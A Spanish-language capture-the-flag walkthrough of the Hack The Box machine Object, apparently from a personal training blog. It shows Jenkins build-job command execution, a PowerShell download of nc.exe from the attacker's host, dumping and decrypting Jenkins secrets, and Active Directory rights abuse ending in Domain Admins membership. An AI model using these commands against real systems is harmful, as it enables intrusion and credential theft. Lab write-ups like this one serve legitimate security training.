🩸
Gzzcoo HTB Walkthroughs
HomePentest NotesHTB Profile
  • Home
  • ACTIVE DIRECTORY
    • Easy
      • Active
      • Cicada
      • EscapeTwo
      • Fluffy
      • Forest
      • Sauna
      • Support
      • Timelapse
    • Medium
      • Administrator
      • Authority
      • Cascade
      • Certified
      • Escape
      • Hospital
      • Intelligence
      • Jab
      • Manager
      • Monteverde
      • Puppy
      • Querier
      • Resolute
      • Scrambled
      • StreamIO
      • TombWatcher
      • TheFrizz
    • Hard
      • Acute
      • Analysis
      • Blackfield
      • Certificate
      • Haze
      • Mantis
      • Object
      • Reel
      • Scepter
      • Search
      • Vintage
    • Insane
      • DarkCorp
      • Ghost
      • Infiltrator
      • Multimaster
      • Sizzle
  • WINDOWS
    • Easy
      • Blue
      • Devel
      • Grandpa
      • Granny
      • Heist
      • Jerry
      • Netmon
      • Optimum
      • Return
  • LINUX
    • Easy
      • Alert
      • Analytics
      • Antique
      • Armageddon
      • Bank
      • Bashed
      • Bizness
      • Blocky
      • BoardLight
      • BountyHunter
      • Broker
      • Busqueda
      • Cap
      • Chemistry
      • Code
      • Codify
      • CozyHosting
      • Delivery
      • Devvortex
      • Dog
      • Editorial
      • GreenHorn
      • Headless
      • Horizontall
      • Irked
      • Keeper
      • Knife
      • Lame
      • LinkVortex
      • Mirai
      • MonitorsTwo
      • Nibbles
      • Nocturnal
      • Nunchucks
      • OpenAdmin
      • Paper
      • PC
      • PermX
      • Planning
      • Pilgrimage
      • Precious
      • Previse
      • Sau
      • ScriptKiddie
      • Shocker
      • Sightless
      • Squashed
      • Titanic
      • Topology
      • TraceBack
      • TwoMillion
      • UnderPass
      • Usage
      • Valentine
      • Validation
      • Wifinetic
    • Medium
      • Backfire
      • Cat
      • Cypher
      • Heal
      • Instant
      • Trickster
    • Hard
      • Eureka
Con tecnología de GitBook

© 2025 Gzzcoo.

En esta página
  • Reconnaissance
  • Webs Enumeration
  • Jenkins Exploitation
  • Creating a New Job + Abusing Build Periodically (cron jobs)
  • Abusing Trigger builds remotely using Token
  • Initial access - Shell as oliver
  • Firewall Enumeration Techniques
  • Jenkins Password Decrypt
  • Privilege Escalation
  • BloodHound Enumeration
  • Abusing ForceChangePassword privileges with PowerView - Shell as smith
  • Abusing GenericWrite privileges (Set-DomainObject - Setting Script Logon Path on a user) - Shell as maria
  • Abusing WriteOwner (Takeover Domain Admins Group)

¿Te fue útil?

Exportar como PDF
  1. ACTIVE DIRECTORY
  2. Hard

Object

AnteriorMantisSiguienteReel

Última actualización hace 3 meses

¿Te fue útil?

Object es una máquina Windows que ejecuta el servidor de automatización Jenkins. Se descubre que el servidor de automatización tiene habilitado el registro y el usuario registrado puede crear compilaciones. Las compilaciones se pueden activar de forma remota configurando un token de API. El punto de apoyo se obtiene descifrando los secretos de Jenkins. Se descubre que el usuario de punto de apoyo tiene permisos ForceChangePassword en otro usuario llamado smith. Este abuso de privilegio nos permite obtener acceso a smith. smith tiene permisos GenericWrite en maria. Abusar de este privilegio nos permite obtener acceso al servidor como este usuario. maria tiene permisos WriteOwner en el grupo Domain Admins, cuyos privilegios explotamos para obtener un shell SYSTEM.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Object.

nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.132 -oG allPorts

Lanzaremos scripts de reconocimiento sobre el puerto encontrado y lo exportaremos en formato oN y oX.

nmap -sCV -p80,5985,8080 10.10.11.132 -A -oN targeted -oX targetedXML

Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

xsltproc targetedXML > index.html

python3 -m http.server 80

Debido que no disponemos de ningún puerto como SMB, LDAP para enumerar al equipo y ver si se trata de un Domain Controller o de un equipo cliente de un dominio, a través de netexec haremos la validación sobre WinRM que hemos comprobado que estaba expuesto (puerto 5985).

netexec winrm 10.10.11.132

Procederemos a añadir las entradas en nuestro archivo /etc/hosts

Webs Enumeration

Procederemos a realizar una enumeración de las páginas webs que hemos encontrado expuestas (8o y 8080).

Probaremos de aplicar Virtual Hosting para verificar si los sitios webs son diferentes accediendo directamente desde la dirección IP o el nombre DNS, en este caso no se aplica Virtual Hosting.

A través de la herramienta de whatweb revisaremos las tecnologías que utilizan estas páginas web.

whatweb http://object.local

whatweb http://object.local:8080

Jenkins Exploitation

Jenkins es una herramienta de integración continua y entrega continua (CI/CD) utilizada en el desarrollo de software para automatizar la construcción, prueba y despliegue de aplicaciones. Es de código abierto y permite a los desarrolladores implementar proyectos de manera más rápida y confiable mediante la automatización de procesos repetitivos.

Probaremos de autenticarnos con credenciales por defecto sin éxito ninguno.

Revisamos en Internet y verificamos de las credenciales por defecto de Jenkins, pero tampoco nos permite acceder.

Verificamos que tenemos una opción para crear una nueva cuenta en Jenkins. Procederemos a crearnos una cuenta.

Verificamos que hemos ganado acceso al panel de Jenkins con el usuario recién creado, el siguiente paso será enumerar Jenkins en busca de información relevante.

Revisando el apartado de "People" vemos que aparece nuestro usuario recién creado y el del usuario "admin".

Volviendo al panel de Dashboard, vemos que podemos crear una nueva tarea en Jenkins.

Al intentar crear una nueva tarea, nos permite seleccionar diferentes modos. En nuestro caso, probaremos con la primera opción de "Freestyle project" y le asignaremos de nombre al trabajo "test".

Comprobamos que estas son las opciones que nos proporciona Jenkins para la creación de un nuevo trabajo.

Verificamos que en el apartado de "Build", nos aparece una serie de opciones la cual la que nos parece más interesante es la de "Execute Windows batch command", ya que parece ser que a través de la creación de la tarea en Jenkins, podríamos llegar a indicar alguna instrucción para que sea ejecutada en la máquina víctima.

Indicaremos en el apartado de "command" que nos ejecute la siguiente instrucción para verificar posteriormente en el resultado del output si se ha logrado ejecutar el comando indicado.

Una vez configurado, procederemos a guardar el trabajo dándole a "Save"

cmd / "whoami"

Revisamos que efectivamente el proyecto se ha creado correctamente, pero no nos aparece ninguna opción/botón para iniciar el trabajo.

Existen dos métodos para intentar evitar esta restricción e iniciar el proyecto de otra manera.

Creating a New Job + Abusing Build Periodically (cron jobs)

La primera opción para que el proyecto se ejecute sin tener que nosotros darle al botón de "Build", es a través de Cron Jobs.

A la hora de crear la tarea, en el apartado de "Build Triggers", nos permite la opción de seleccionar "Build periodically" para que se ejecute el trabajo de manera periódica.

Por lo tanto, nuestro objetivo es que se ejecute para verificar si la instrucción es ejecutada en el equipo. Para ello, especificaremos que se ejecute a cada minuto indicando: * * * * *

Al pasar el minuto después de haber guardado nuevamente el proyecto con la tarea programada, verificamos que se ha ejecutado correctamente el trabajo.

Abusing Trigger builds remotely using Token

La mejor manera para eludior la restricción del permiso por el cual no tengamos disponible el botón "Build" para iniciar el proyecto, es a través de la opción "Authentication Token".

Tal y como indica Jenkins, podemos crear un nuevo Token el cual al acceder a JENKINS_URL/job/test/build=token=TOKEN_NAME, el proyecto se ejecutará.

Por lo tanto, el objetivo es utilizar la herramienta de cURL para hacer la petición a través de GET para que el proyecto sea ejecutado remotamente y nosotros podamos controlar cuando ejecutar el proyecto.

Esto es más práctico que la primera opción, debido que podemos controlar cuando ejecutarlo, etc.

Verificamos que al tratar de hacer el cURL tal y como nos indicaba Jenkins, nos aparece el mensaje de "Authenticacion required".

curl -s -X GET "http://object.local:8080/job/test/build/?token=myToken" | html2text

Cargaremos una nueva instrucción en el proyecto, en este caso para que se ejecute un "ipconfig".

cmd / c "ipconfig"

Realizaremos el build de nuestro proyecto remotamente con nuestro usuario, el token de nuestro usuario que hemos generado y el token creado el proyecto.

curl -s -X GET "http://gzzcoo:113c955570ab537e5efd71bb3c2389c12c@object.local:8080/job/test/build/?token=myToken"

Por lo tanto, el método para ejecutar los comandos de manera más eficiente será modificar y guardar el proyecto para que ejecute el comando que establezcamos, enviaremos la solicitud del build remoto con cURL e iremos ingresando incrementando el número del build por cada vez que enviemos el proyecto para visualziar el resultado.

Initial access - Shell as oliver

Probaremos de compartirnos el binario de "nc.exe" para posteriormente entablarnos una Reverse Shell hacía el equipo.

ls

python3 -m http.server 80

Modificaremos el proyecto para que ejecute el siguiente comando, para descargarnos el binario de nc.exe que estamos compartiendo desde nuestro servidor web de Kali.

Verificamos que en el output de la salida de la ejecución del comando, nos devuelve error de conexión "Unable to connect to the remote server", lo cual nos hace pensar que hay algunas reglas de Firewall que nos están bloqueando la salida cualquier tráfico en el equipo.

cmd /c "PowerShell -c IWR -Uri http://10.10.16.7/nc.exe -Outfile C:\ProgramData\nc.exe"

Firewall Enumeration Techniques

A través del siguiente comando, listamos las reglas del firewall que bloquean el tráfico saliente y que están habilitadas. Esto nos permite identificar las restricciones que están configuradas para el tráfico hacia el exterior, ayudándonos a comprender mejor cómo se gestionan las conexiones salientes en el sistema.

Verificamos que el resultado obtenido en el output nos indica que existe una regla de Firewall llamada "BlockOutboundDC" que no permite la salida de tráfico hacia el exterior, por ese motivo nos rechazaba la conexión anteriormente.

powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block

El siguiente comando que ejecutamos está diseñado para listar las reglas del firewall que bloquean el tráfico saliente, mostrando detalles adicionales como el protocolo, puertos locales y remotos, direcciones remotas y otros atributos. Si en los campos como LocalPort, RemotePort o RemoteAddress aparece "Any", esto indica que la regla no está restringida a un puerto o dirección específica, sino que aplica a todo el tráfico saliente que cumpla con las condiciones básicas de la regla (en este caso, dirección Outbound y acción Block).

Esto significa que esas reglas están configuradas para bloquear cualquier tráfico saliente sin discriminar por puerto o dirección, lo que puede implicar restricciones muy amplias en el sistema.

powershell -c "Get-NetFirewallRule -Direction Outbound -Action Block -Enabled True | Format-Table -Property Name,DisplayName,DisplayGroup,@{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Enabled,Profile,Direction,Action"

A través del siguiente comando, enumeramos todas las reglas de Firewall que estén configuradas para permitir el tráfico saliente (Outbound), que se encuentren habilitadas y cuya acción sea permitir (Allow).

En el resultado obtenido, verificamos que existe una regla configurada para permitir tráfico ICMP hacia el exterior (Outbound).

powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow

Configuraremos el proyecto para que ejecute el comando ping hacia nuestra Kali y con tcpdump procederemos a revisar si recibimos los paquetes ICMP.

powershell -c "ping 10.10.16.7"

tcpdump -i tun0 icmp -n

Jenkins Password Decrypt

Buscando vías potenciales para obtener más privilegios o nuevas credenciales, debido que nos encontramos en un Jenkins, lo que pensamos es en intentar dumpear las credenciales almacenadas y posteriormente desencriptarlas.

Dado que nos encontramos en la ruta C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test procederemos a listar dos directorios anteriores para ver qué contenido dispone.

En el output mostrado, verificamos que nos aparece los directorios "users" y "secrets" los cuales necesitaremos para intentar buscar los archivos correspondientes para desencriptar la contraseña de Jenkins del usuario "admin".

powershell -c "ls ../../"

Al revisar el directorio /users verificamos que nos aparecen dos usuarios creados, el del "admin" y el que hemos creado anteriormente. El usuario que nos interesa obtener su "config.xml" es el del usuario "admin".

powershell -c "ls ../../users"

Al acceder al directorio /users/admin_17207690984073220035 verificamos que vemos el archivo que necesitamos "config.xml".

powershell -c "ls ../../users/admin_17207690984073220035"

Procederemos a verificar el contenido del archivo "config.xml" a través del siguiente comando.

powershell -c "cat ../../users/admin_17207690984073220035/config.xml"

Guardaremos el contenido del archivo de manera local en nuestra Kali.

A continuación, procederemos a listar el directorio /secrets y comprobamos que disponemos del archivo "hudson.util.Secret" y "master.key" necesarios para la desencriptación de la contraseña de Jenkins del usuario "admin".

powershell -c "ls ../../secrets"

Listaremos el contenido del archivo "master.key" a través de la siguiente instrucción.

powershell -c "cat ../../secrets/master.key"

Copiaremos el contenido para obtener el archivo de manera local en nuestra Kali, eliminaremos cualquier salto de línea innecesario y verificaremos que disponemos del contenido del archivo "master.key" de manera local.

wc -c master.key

cat master.key | tr -d '\n' | wc -c

cat master.key | tr -d '\n' | sponge master.key

wc -c master.key

catnp  master.key ; echo

Procederemos a intentar comprobar el contenido del archivo "hudson.util.Secret" y al intentar listarlo con "cat", nos aparecen caracteres ilegibles, lo cual parece indicar que el archivo se trata de un binario, por lo tanto, a través de un "cat" no se puede llegar a comprobar su contenido.

powershell -c "cat ../../secrets/hudson.util.Secret"

Por lo tanto, lo que realizaremos es mostrar el contenido del archivo pero codificado en Base64 para posteriormente descodificarlo en nuestro equipo local.

powershell -c [convert]::ToBase64String((cat ..\..\secrets\hudson.util.Secret -Encoding byte))

Procederemos a descodificar y a almacenarlo en un archivo local llamado "hudson.util.Secret".

echo 'gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=' | base64 -d > hudson.util.Secret

ls -l hudson.util.Secret

Nos descargaremos el binario en nuestra Kali a través del siguiente comando.

curl -L \
  "https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)" \
   -o jenkins-credentials-decryptor
   
chmod +x jenkins-credentials-decryptor

Al ejecutar el binario, comprobaremos la sintaxis para el uso de la herramienta.

./jenkins-credentials-decryptor

Al intentar desencriptar la contraseña del usuario "admin" de Jenkins a través de la herramienta Jenkins Credentials Decryptor con los tres archivos obtenidos, comprobamos que nos muestra la contraseña del usuario "oliver" en texto plano.

./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml

Intentaremos verificar con netexec si este usuario es válido para acceder al WinRM con las credenciales encontradas y verificamos que si.

netexec winrm 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'

Accederemos al WinRM a través de evil-winrm y verificaremos que obtenemos la flag del user.txt.

evil-winrm -i 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'

Privilege Escalation

Una vez ganado acceso al equipo, deberemos de buscar maneras para elevar nuestros privilegios y convertirnos finalmente en Domain Admins.

Verificaremos los permisos que disponemos y a qué grupos forma parte el usuario (oliver@object.local), no vemos ningún permiso ni grupo que podamos realizar un PrivEsc.

Ingresaremos al directorio C:\Users\ y comprobaremos que aparecen los siguientes usuarios.

Verificaremos puertos abiertos en la máquina en busca de alguno sospechoso, en este caso, no encontramos nada relevante.

Listaremos los directorios de Program Files en busca de algún programa inusual, en este caso, tampoco encontramos nada relevante.

Enumeramos los usuarios del dominio y los grupos del dominio, pero tampoco podemos sacar nada más relevante para realizar un PrivEsc.

BloodHound Enumeration

Debido que enumerando manualmente no hemos podido lograr encontrar ninguna vía potencial para elevar nuestro privilegio, lo que realizaremos es realizar la enumeración a través del Collector de SharpHound para posteriormente subir el .zip en el BloodHound en busca de buscar vías potenciales para elevar nuestros privilegios.

Lo primero será subir el binario de SharpHound a través del comando "upload" y posteriormente procederemos a descargar el comprimido obtenido para obtenerlo en nuestro equipo local a través del comando "download" que nos ofrece evil-winrm.

.\SharpHound.exe -c all

Enumerando desde BloodHound, verificamos que el único usuario Domain Admin del dominio es el mismo usuario Administrator.

Buscando una vía potencial para elevar nuestros privilegios para convertirnos en Domain Admins, nos encontramos con la siguiente ruta la cual parecee ser la más adecuada.

Abusing ForceChangePassword privileges with PowerView - Shell as smith

A través del usuario que disponemos actualmente (oliver@object.local), disponemos de permisos de ForceChangePassword sobre el usuario (smith@object.local).

Revisando la información del permiso en Bloodhound, nos informa que el usuario que disponemos actualmente tiene la capacidad de modificarle la contraseña al usuario sobre el cual tenemos permisos sin conocer la contraseña actual de este último.

Dado que nos encontramos en el mismo equipo Windows, procederemos a realizar el apartao de "Windows Abuse".

Para realizar esta explotación, necesitaremos disponer de PowerView en el equipo víctima.

Al tratar de importarlo en memoria con IEX, verificamos que nos aparece el error de "Unable to connect to the remote server" debido a las reglas de Firewall que no permite el tráfico saliente tal como enumeramos anteriormente.

Por lo tanto, procederemos a subir a través del comando "upload" el archivo PowerView.ps1 y lo importaremos en el equipo.

A través de la variable $UserPassword crearemos una SecureString de la contraseña que le asignaremos al usuario (smith@object.local).

Mediante la función Set-DomainUserPassword procederemos a cambiarle la contraseña al usuario (smith).

$UserPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force

Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword

Verificaremos a través de netexec de que las credenciales se han modificado correctamente y también procederemos a conectarnos al WinRM con estas nuevas credenciales obtenidas.

netexec winrm 10.10.11.132 -u 'smith' -p 'Password01!'

evil-winrm -i 10.10.11.132 -u 'smith' -p 'Password01!'

Abusing GenericWrite privileges (Set-DomainObject - Setting Script Logon Path on a user) - Shell as maria

Volviendo a enumerar desde BloodHound, verificamos que el usuario que disponemos actualmente (smith@object.local) dispone de privilegios GenericWrite sobre el usuario (maria@object.local).

Revisando la información sobre el permiso que nos indica BloodHound, verificamos que este acceso otorga la capacidad de escribir en cualquier atributo no protegido en el objeto de destino, incluidos los "miembros" de un grupo y los servicePrincipalName de un usuario.

Lo que podemos pensar en realizar es un ataque llamado Targeted Kerberoasting desde Windows.

Este ataque lo que realiza es agregar un SPN (Service Principal Name) ficticio a una cuenta. Una vez que la cuenta tenga establecido el SPN, la cuenta se vuelve vulnerable al ataque de Kerberoasting. Lo cual posteriormente podemos obtener el TGS (Ticket Granting Service), es decir un hash que posteriormente podemos intentar crackear de manera offline.

En este caso, el ataque se realiza Set-DomainObject y Get-DomainSPNTicket.

Probando de realizar el Targeted Kerberoast, nos aparece un error de Kerberos, lo cual no nos permite realizar dicho ataque.

Get-DomainUser 'maria' | Select serviceprincipalname

Set-DomainObject -Identity 'maria' -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}

$User = Get-DomainUser 'maria'

$User | Get-DomainSPNTicket | fl

Este permiso permite a un atacante modificar las propiedades de un usuario. Un atacante puede llegar a cambiar la ruta del script de inicio de sesión (Script Path Logon) de un usuario para ejecutar un script malicioso al iniciar sesión.

En este caso, lo que realizaremos es crear un script (.ps1) que contenga la instrucción de listar el contenido del directorio C:\Users\Maria\Desktop y lo almacene el resultado en el directorio que estamos actualmente en el archivo "output.txt".

Este script le asignaremos de nombre "test.ps1", una vez creado el script, procederemos a asignarle el script en la ruta de inicio de sesión del usuarioo, para que cuando el usuario acceda al equipo, se ejecute el script.

Verificamos que el contenido obtenido nos muestra que la usuaria dispone de un Excel (Engines.xls) en el directorio Desktop de su usuario.

echo "ls C:\Users\Maria\Desktop > C:\ProgramData\test\output.txt" > test.ps1

Set-DomainObject -Identity maria -SET @{scriptpath='C:\ProgramData\test\test.ps1'}

dir

type output.txt

Una vez sepamos que existe este archivo en el directorio C:\Users\Maria\Desktop. El siguiente paso será realizar una copia de ese archivo al directorio en el que nos encontramos actualmente.

Para ello modificaremos de nuevo el script anterior "test.ps1" e indicaremos que realice la copia del archivo a nuestro directorio actual.

Al volver a comprobar el directorio actual, verificamos que se nos ha copiado correctamente el archivo "Engines.xls" que procederemos a descargarnos a nuestra Kali.

echo "copy C:\Users\Maria\Desktop\Engines.xls C:\ProgramData\test\" > test.ps1

dir

download Engines.xls

Verificaremos que se nos ha descargado correcamente el archivo en nuestro equipo local. Procederemos a abrirlo a través de LibreOffice.

ls -l Engines.xls

libreoffice Engines.xls

Al abrir el Excel descargado,verificamos que dispone de credenciales de diferentes sitios sobre la usuaria (maria@object.local).

Guardaremos las credenciales en el archivo "passwords.txt".

Proabremos de validar si alguna de las credenciales obtenidas es válida para la usuaria, una vez verificado, procederemos a conectarnos al WinRM a través de evil-winrm.

nxc winrm 10.10.11.132 -u 'maria' -p passwords.txt

evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'

Abusing WriteOwner (Takeover Domain Admins Group)

Al volver a enumerar desde BloodHound, verificamos que el usuario que disponemos actualmente (maria@object.local) dispone de privilegios de WriteOwner sobre el grupo (Domain Admins@object.local).

Revisando la información proporcionada por BloodHound sobre el privilegio en cuestión, observamos que el permiso WriteOwner sobre un grupo permite a un atacante modificar el propietario del mismo, lo que le otorga la capacidad de tomar control total sobre dicho grupo.

Al cambiar el propietario a su propia cuenta, el atacante podría manipular el grupo de diversas formas, como agregar o quitar miembros, modificar permisos o incluso utilizar el grupo para obtener privilegios más altos dentro del dominio.

Utilizamos el comando Set-DomainObjectOwner para transferir la propiedad del grupo a "maria", lo que nos permitió cambiar cualquier aspecto del grupo, incluidos sus miembros y permisos.

A continuación, utilizamos Add-DomainObjectAcl para otorgar a "maria" permisos completos sobre el grupo y, con Add-DomainGroupMember, la agregamos como miembro del grupo Domain Admins, asegurando su acceso a privilegios de administrador en el dominio.

Finalmente, verificamos la pertenencia de "maria" al grupo mediante el comando net user /domain, confirmando su escalada de privilegios y control completo sobre el dominio.

Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

net user maria /domain

Volveremos a iniciar una nueva sesión de WinRM a través de evil-winrm para que se apliquen los cambios en la nueva sesión.

Una vez ganado el acceso, verificaremos que podemos eumerar el contenido de la flag root.txt.

evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'

Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.

Procederemos a acceder a y verificaremos que se trata de un sitio web sobre Jenkins.

Si probamos de acceder a comprobamos que no disponemos de permisos de Administración.

Revisando en la siguiente respuesta de , nos indica que posiblemente sea debido a la restricción de permisos que dispone nuestro usuario creado.

Al acceder a , verificamos que efectivamente el comando que habíamos establecido se ha ejecutado en el servidor . Tambén hemos podido ejecutarlo sin tener que arrancar el proyecto de manera manual (debido a los permisos) a través de las tareas Cron.

Revisando en Internet sobre este mensaje de error para ejecutar el proyecto de manera remota de Jenkins, nos encontramos con el siguiente post donde explican como realizar la configuración con cURL.

El primer paso es obtener un API Token de nuestro propio usuario, para ello accederemos a y generaremos un nuevo Token que deberemos copiarnos en el portapapeles.

Verificaremos que si accedemos nuevamente a verificaremos que el proyecto se ha ejecutado y hemos recibido el output de la ejecución del comando "ipconfig".

Para ello utilizamos la siguiente guía en la cual nos explicaba paso por paso como realizar este dump de las credenciales de Jenkins.

Una vez obtenido los 3 archivos necesarios para desencriptar la contraseña del usuario "admin" de Jenkins, procederemos a utilizar la siguiente herramienta -->

En el siguiente GitHub () nos informa como realizar este tipo de ataque desde Windows.

Debido que no hemos podido realizar el ataque, desde revisamos el ACL de GenericWrite on User en busca de intentar realizar otro tipo de ataque.

http://localhost
http://object.local:8080
http://object.local:8080/manage
StackOverflow
http://object.local:8080/job/test/1/console
Triggering Jenkins builds by URL
http://object.local:8080/user/<user>/configure
http://object.local:8080/job/test/<id>/console
Accessing and Dumping Jenkins Credentials
Jenkins Credentials Decryptor
Targeted Kerberoasting
HackTricks